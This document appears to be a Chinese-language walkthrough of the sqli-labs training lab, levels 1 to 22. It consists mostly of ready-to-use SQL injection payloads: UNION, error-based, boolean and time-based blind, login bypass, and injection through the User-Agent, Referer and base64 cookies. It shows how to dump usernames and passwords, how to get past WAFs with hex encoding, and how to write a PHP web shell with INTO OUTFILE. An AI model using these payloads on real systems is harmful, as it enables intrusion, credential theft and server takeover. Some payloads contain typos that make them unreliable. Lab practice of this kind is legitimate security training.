http://127.0.0.1/sqli-labs-master
浅析MySQL中concat以及group_concat的使用;
mysql中group_concat函数用法;
concat和concat_ws()区别及MySQL的几个实用字符串函数
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
一、http://127.0.0.1/sqli-labs-master/Less-1/?id=1
1.手工UNION联合查询注入
输入单引号,页面报错,信息为''1'' LIMIT 0,1',如下图所示
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,猜测咱们输入的1在数据库中出现的位置为:select ... from ... where id=’1’ ......,多余的步骤不多说了,直接开始爆数据吧。
爆表:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列(字段):
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
2、手工报错型注入
爆表:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列(字段):
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆值:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
二、http://127.0.0.1/sqli-labs-master/Less-2/?id=1
输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,把第一题中id=1后面的单引号去掉,其它保持不变就行了,不再重复了......
三、http://127.0.0.1/sqli-labs-master/Less-3/?id=1
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,脑补一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) ...,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,不再重复了......
四、http://127.0.0.1/sqli-labs-master/Less-4/?id=1
输入单引号,页面无任何变化,尝试输入双引号,页面报错,根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,脑补一下:select ... from ... where id=(”1”) ...,把第一题中1后面的引号换成双引号加)就可以了......
MYSQL注入天书之盲注讲解
0x7365637572697479=security的16进制,因为table_schema='security'需要用单引号,因为大部分Web应用程序防火墙都过滤了单引号,而转化为16进制之后就可以突破很多防火墙及防注入程序。
mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
Mysql数据库information_schema系统表说明
五、http://127.0.0.1/sqli-labs-master/Less-5/?id=1
使用报错注入:爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,( select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+
爆列:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,( select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+
爆值:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+
xpath函数报错注入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
六、http://127.0.0.1/sqli-labs-master/Less-6/?id=1
把上一题的单引号换成双引号即可......
七、http://127.0.0.1/sqli-labs-master/Less-7/?id=1
本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径
这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上,从源代码中可以看到sql="SELECT∗FROMusersWHEREid=((′id')) LIMIT 0,1";
这里对id参数进行了 '))的处理。所以我们其实可以尝试')) or 1=1--+进行注入
http://127.0.0.1/sqllib/Less-7/?id=1')) or 1=1--+
那我们这里利用上述提到的文件导入的方式进行演示:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
这里可以通过在less1中获取网站的路径
导入http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'2','' into outfile 'E:\phpstudy\WWW\sqli-labs-master\Less-7\muma.php' --+
这时虽然报错,但可以看到文件已经生成
那么可以直接上菜刀了
八、http://127.0.0.1/sqli-labs-master/Less-8/?id=1
没有任何提示,因为它把错误信息隐藏了,所以并不能用显错式注入,只能用盲注。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
- http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
或者这样就简单一点 - http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23
为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样
猜测数据库名字第一个字母:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 --+
大于114时返回正确
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 --+
这时错误,说明ascii应该为115,即s,再接着推测第二个,然后可判断应该为security数据库,然后依次推出其他数据,比较麻烦。
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left(database(),1)='s' --+
返回正确,可确定第一个字母为s.
猜数据库名第一个字母具体过程,使用二分法
1.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
1.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
2.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
3.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
4.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
5.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
6.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
7.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s
盲注过程是漫长的,一般是自己写脚本或使用工具辅助
less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
判断为单引号基于时间的注入
判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(databse(),1,1))=115,1,sleep(5)) --+
第一位为s
同样:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(databse(),2,1))=101,1,sleep(5)) --+
第二位为e
以此类推,数据库名字为security
猜测security数据表
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+
猜测数据表第一位为e,..以此类推,得到emails
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5)) --+
猜测数据表第一位为r,..以此类推,得到referers
..
同样方法获取其他表
猜测users列
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_column from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+
猜测第一个字符为i,依次推测出id,username,password
猜测username值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select username from users limit 0,1),1,1))=68,1,sleep(5)) --+
猜测第一行的第一位,依次类推
less 10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
把上面的改成双引号就行
十一、 http://127.0.0.1/sqli-labs-master/Less-11/
这一关为post注入,post就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,然后以表单的形式提交到服务器后在进行验证。这就是Post过程。
输入用户名密码都为为admin' ,然后报错
从错误中分析到程序对参数进行单引号处理
然后输入: admin' or'1'='1#或'or 1=1#,密码随意。
然后返回结果正确,原理是因为当我们提交username和password后台形成的sql语句为
@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1' #and password='$passwd' LIMIT 0,1";
后注释掉了,or1=1恒成立,所以语句成立,返回结果正确。
然后用union 注入进行尝试:
用户名:1admin' union select 1,database()#或uname=' union select 1,database()#&passwd=1
密码随意
可以看到数据库为security
LESS-12
本关和11类似,在id参数的处理上有一定不同
先随便输入
用户:admin"
密码:随意
看会报什么错?
可知这里的id进行了(“id”)的处理,
然后方法同上一题一样
LESS-13
输入
username:admin'
password:随意
然后发现报错:
发现对id进行了')的处理。
然后输入用户名(密码随意)admin')会发现没有登录信息了。
这里用下布尔类型的盲注。
猜测数据库第一位:postdata中输入:
uname=')or 1=1 and left(database(),1)>'a'#&passwd=1
返回结果正确,依次对每一位猜测,像之前的
题目一样,可以用二分法,降低尝试次数。
LESS-14
直接输入admin",密码随意,查看报错情况
可知对id进行了" 的操作
和上题一样主要熟悉利用盲注
uname="or 1=1and left(database(),1)>'a'#&passwd=1或uname=admin"and left(database(),1)>'a'#&passwd=1
可以登陆成功
再利用一下报错注入
uname="or 1=1 and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1
可以看到报错,显示版本信息。
爆表:
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&passwd=1
爆列:
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#&passwd=1
爆值:
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))#&passwd=1
LESS-15
本关没有错误提示,只能靠猜测注入。先从源代码中看到了
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
然后对id处理,使用延时注入
正确的时候直接登录,不正确的时候延时
猜测数据库第一位:
uname='or 1=1 and if(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=1
返回成功,然后像之前的题目一样构造
LESS-16
和15一样,使用延时注入,从源代码中可以看到对id进行("id")处理其他与15一样
LESS-17
本关可以看到是一个修改密码的过程,利用update语句,与在用 select 时是一样的
尝试报错:
用户名:admin
密码:1'
说明对密码的处理是' '
然后盲注
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
可以看到报错信息,然后就可以像前面题目一样构造。
LESS-18
xpath教程
UpdateXml() MYSQL显错注入
本关由源代码可知对uname和passwd进行了check——input() 函数的处理,所以直接进行注入是不行的,但是在代码中可以的看到
$insert="INSERT INTO security
.uagents
(uagent
, ip_address
, username
) VALUES ('$uagent', '$IP', $uname)";
将useragent 和ip 插入到数据库中,可以修改useragent进行注入,使用ip不太方便,我们随便输入用户密码发现没什么反应,然后抓包修改useragent
首先正常登陆后我们可以看到:
uname=admin1&passwd=admin1是用户名密码提交的登录数据,
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)# 是我们修改的useragent数据
然后成功的爆出库名;
爆表:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#或Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1
爆列:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' limit 0,1),0x7e),1),1,1)#或extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))and '1'='1
爆值:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#
或Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '1'='1
查版本:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
也可用burpsuite抓包修改,方法一样。
LESS-19
登陆之后我们可以看出是对referers进行注入
然后抓包修改
http://127.0.0.1/sqli-labs-master/Less-19/1' AND extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
这里获取了mysql路径,方法同18一样,其他自行构造。
LESS-20
从源代码中我们可以看到cookie从username获得值之后,当再次刷新时会从cookie中获取username,然后进行查询。
登陆成功后,我们修改cookie,再次刷新时,这时sql语句就会被修改了。
这是登陆后的界面。
然后利用burp抓包修改cookie
Cookie:uname=admin1' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
这里我们注入查看mysql路径。
可以看到路径信息,说明注入成功,其他构造方法同18一样。
LESS-21
本关对cookie进行了base64的处理,其他同less20一样。
抓包后修改cookie,将admin'进行base64编码后修改然后报错
发现对uname进行了('uname')的处理.
base64编码处理:admin1') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))# = YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEBiYXNlZGlyKSwweDdlKSkj
已经成功查出mysql路径,同样方法构造爆出其他内容,同上题方法一样
LESS-22
本关和20、21是一致的,我们可以从源代码中看到对uame进行了"uname"的处理,可以构造payload:
admin1" and extractvalue(1,concat(0x7e,(select database()),0x7e))# = YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
其他同上